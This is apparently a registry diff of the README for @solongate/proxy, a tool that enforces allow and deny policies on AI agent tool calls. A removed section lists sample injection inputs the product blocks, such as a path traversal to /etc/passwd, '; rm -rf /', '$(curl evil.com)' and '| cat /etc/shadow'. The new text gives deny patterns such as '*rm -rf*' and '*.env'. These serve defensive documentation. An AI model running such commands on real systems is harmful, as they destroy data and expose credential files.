@solongate/proxy 0.47.2 → 0.47.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +53 -68
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,51 +1,73 @@
|
|
|
1
1
|
# @solongate/proxy
|
|
2
2
|
|
|
3
|
-
**AI
|
|
3
|
+
**Security for AI agents.** SolonGate enforces a security policy on every action an AI agent takes — every tool call is allowed, blocked, or logged before it runs. No code changes.
|
|
4
4
|
|
|
5
5
|
```
|
|
6
|
-
AI
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
[audit log]
|
|
6
|
+
AI agent ──(tool call)──> SolonGate guard ──> Tool runs
|
|
7
|
+
│
|
|
8
|
+
[policy eval] ← OPA-WASM, fail-closed
|
|
9
|
+
[prompt-injection scan]
|
|
10
|
+
[allow / block / audit]
|
|
12
11
|
```
|
|
13
12
|
|
|
14
|
-
|
|
13
|
+
SolonGate comes in two editions that share the same policy model and dashboard:
|
|
15
14
|
|
|
16
|
-
|
|
15
|
+
- **Cloud** — managed, nothing to host. Pair your machine with one command and manage policies + audit logs at [dashboard.solongate.com](https://dashboard.solongate.com).
|
|
16
|
+
- **Local / air-gapped** — run the whole stack on your own hardware with Docker, zero outbound connectivity, no API keys.
|
|
17
17
|
|
|
18
|
-
|
|
18
|
+
---
|
|
19
19
|
|
|
20
|
-
|
|
20
|
+
## Quick start (Cloud)
|
|
21
|
+
|
|
22
|
+
**You need:** a free [SolonGate account](https://auth.solongate.com), Node.js 18+ on the machine you want to protect, and an AI tool that makes tool calls (Claude Code; Gemini CLI is also supported).
|
|
23
|
+
|
|
24
|
+
Pair the machine and turn on the guard — one command, no API keys to copy:
|
|
21
25
|
|
|
22
26
|
```bash
|
|
23
|
-
npx @solongate/proxy
|
|
27
|
+
npx -y @solongate/proxy@latest login
|
|
24
28
|
```
|
|
25
29
|
|
|
26
|
-
|
|
30
|
+
It opens your browser to authorize the device. Approve it from your signed-in dashboard and SolonGate installs a **global guard hook** that intercepts every tool call from every AI session on the machine and evaluates it against your active policy.
|
|
31
|
+
|
|
32
|
+
> Start a **new** terminal session afterwards — hooks load when a session starts, so already-open terminals aren't guarded yet.
|
|
33
|
+
|
|
34
|
+
## Write a policy
|
|
35
|
+
|
|
36
|
+
Open **Policies** in the dashboard and create one. A policy is a set of rules; each rule targets a tool plus a constraint (path / command / filename / URL) and is either ALLOW or DENY. Two modes:
|
|
37
|
+
|
|
38
|
+
- **Denylist** — everything is allowed except what you block (e.g. deny any file named `*.env`, or commands matching `*rm -rf*`).
|
|
39
|
+
- **Whitelist** — nothing is allowed except what you permit.
|
|
27
40
|
|
|
28
|
-
|
|
41
|
+
Click **Activate** to make a policy the one the guard enforces. Rules compile to an OPA-WASM bundle and take effect on the next tool call.
|
|
42
|
+
|
|
43
|
+
## Review the audit log
|
|
44
|
+
|
|
45
|
+
Every decision shows up under **Audit** — what was allowed, what was blocked, and which rule matched. When a legitimate action is blocked, open the entry and click **Whitelist this**: SolonGate adds a narrow ALLOW exception for exactly that action and recompiles. Revoke any exception from **Granted exceptions**.
|
|
46
|
+
|
|
47
|
+
## Uninstall
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
npx @solongate/proxy init --global --restore
|
|
51
|
+
```
|
|
29
52
|
|
|
30
|
-
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## Advanced: wrap a single MCP server (proxy mode)
|
|
56
|
+
|
|
57
|
+
Instead of the machine-wide guard, you can place SolonGate **in front of one MCP server** so it works with any MCP client (Claude Desktop, Cursor, Windsurf, Cline, Zed, …). Edit your `.mcp.json`:
|
|
31
58
|
|
|
32
59
|
```json
|
|
33
60
|
{
|
|
34
61
|
"mcpServers": {
|
|
35
62
|
"my-server": {
|
|
36
63
|
"command": "npx",
|
|
37
|
-
"args": [
|
|
38
|
-
"@solongate/proxy",
|
|
39
|
-
"--policy", "restricted",
|
|
40
|
-
"--",
|
|
41
|
-
"node", "./my-server/dist/index.js"
|
|
42
|
-
]
|
|
64
|
+
"args": ["@solongate/proxy", "--policy", "restricted", "--", "node", "./my-server/dist/index.js"]
|
|
43
65
|
}
|
|
44
66
|
}
|
|
45
67
|
}
|
|
46
68
|
```
|
|
47
69
|
|
|
48
|
-
|
|
70
|
+
### Policy presets
|
|
49
71
|
|
|
50
72
|
| Preset | Description |
|
|
51
73
|
|--------|-------------|
|
|
@@ -54,23 +76,7 @@ Edit your `.mcp.json`:
|
|
|
54
76
|
| `permissive` | Allows all tools, still enforces input validation |
|
|
55
77
|
| `deny-all` | Blocks all tool calls (emergency lockdown) |
|
|
56
78
|
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
**Input Guard** (always active):
|
|
60
|
-
- Path traversal: `../../etc/passwd`
|
|
61
|
-
- Shell injection: `; rm -rf /`, `` `whoami` ``, `$(curl evil.com)`
|
|
62
|
-
- Pipe injection: `| cat /etc/shadow`
|
|
63
|
-
- Oversized inputs (DoS prevention)
|
|
64
|
-
|
|
65
|
-
**Policy Engine** (configurable):
|
|
66
|
-
- Shell execution tools (`shell_exec`, `run_command`, etc.)
|
|
67
|
-
- Eval/exec tools
|
|
68
|
-
- Web fetch (data exfiltration prevention)
|
|
69
|
-
- Any tool matching your custom patterns
|
|
70
|
-
|
|
71
|
-
## Custom Policies
|
|
72
|
-
|
|
73
|
-
Create a JSON policy file:
|
|
79
|
+
### Custom policy file
|
|
74
80
|
|
|
75
81
|
```json
|
|
76
82
|
{
|
|
@@ -78,24 +84,8 @@ Create a JSON policy file:
|
|
|
78
84
|
"name": "My Custom Policy",
|
|
79
85
|
"version": 1,
|
|
80
86
|
"rules": [
|
|
81
|
-
{
|
|
82
|
-
|
|
83
|
-
"effect": "DENY",
|
|
84
|
-
"priority": 100,
|
|
85
|
-
"toolPattern": "*exec*",
|
|
86
|
-
"permission": "EXECUTE",
|
|
87
|
-
"minimumTrustLevel": "UNTRUSTED",
|
|
88
|
-
"enabled": true
|
|
89
|
-
},
|
|
90
|
-
{
|
|
91
|
-
"id": "allow-rest",
|
|
92
|
-
"effect": "ALLOW",
|
|
93
|
-
"priority": 1000,
|
|
94
|
-
"toolPattern": "*",
|
|
95
|
-
"permission": "EXECUTE",
|
|
96
|
-
"minimumTrustLevel": "UNTRUSTED",
|
|
97
|
-
"enabled": true
|
|
98
|
-
}
|
|
87
|
+
{ "id": "deny-exec", "effect": "DENY", "priority": 100, "toolPattern": "*exec*", "permission": "EXECUTE", "minimumTrustLevel": "UNTRUSTED", "enabled": true },
|
|
88
|
+
{ "id": "allow-rest", "effect": "ALLOW", "priority": 1000, "toolPattern": "*", "permission": "EXECUTE", "minimumTrustLevel": "UNTRUSTED", "enabled": true }
|
|
99
89
|
]
|
|
100
90
|
}
|
|
101
91
|
```
|
|
@@ -104,12 +94,11 @@ Create a JSON policy file:
|
|
|
104
94
|
npx @solongate/proxy --policy ./my-policy.json -- node my-server.js
|
|
105
95
|
```
|
|
106
96
|
|
|
107
|
-
|
|
97
|
+
### CLI options
|
|
108
98
|
|
|
109
99
|
```
|
|
110
100
|
solongate-proxy [options] -- <server-command> [args...]
|
|
111
101
|
|
|
112
|
-
Options:
|
|
113
102
|
--policy <preset|file> Policy preset or JSON file (default: restricted)
|
|
114
103
|
--name <name> Proxy display name
|
|
115
104
|
--verbose Show detailed error messages
|
|
@@ -121,19 +110,15 @@ Options:
|
|
|
121
110
|
--api-url <url> Custom API URL (default: api.solongate.com)
|
|
122
111
|
```
|
|
123
112
|
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
```bash
|
|
127
|
-
npx @solongate/proxy init --restore
|
|
128
|
-
```
|
|
113
|
+
---
|
|
129
114
|
|
|
130
115
|
## Why SolonGate?
|
|
131
116
|
|
|
132
|
-
AI
|
|
133
|
-
|
|
134
|
-
SolonGate sits between the AI client and the tool server, enforcing security policies on every tool call before it reaches the server.
|
|
117
|
+
AI agents get direct access to your system — shell, file system, databases, network. A single prompt-injection attack can turn your assistant into an attacker. SolonGate sits between the agent and the action, enforcing your policy on every tool call before it runs, and recording every decision for audit.
|
|
135
118
|
|
|
136
|
-
|
|
119
|
+
- **Docs:** [solongate.com/docs](https://solongate.com/docs)
|
|
120
|
+
- **Dashboard:** [dashboard.solongate.com](https://dashboard.solongate.com)
|
|
121
|
+
- **Air-gapped guide:** [solongate.com/docs/local](https://solongate.com/docs/local)
|
|
137
122
|
|
|
138
123
|
## License
|
|
139
124
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@solongate/proxy",
|
|
3
|
-
"version": "0.47.
|
|
3
|
+
"version": "0.47.3",
|
|
4
4
|
"description": "AI tool security proxy — protect any AI tool server with customizable policies, path/command constraints, rate limiting, and audit logging. Zero code changes required.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|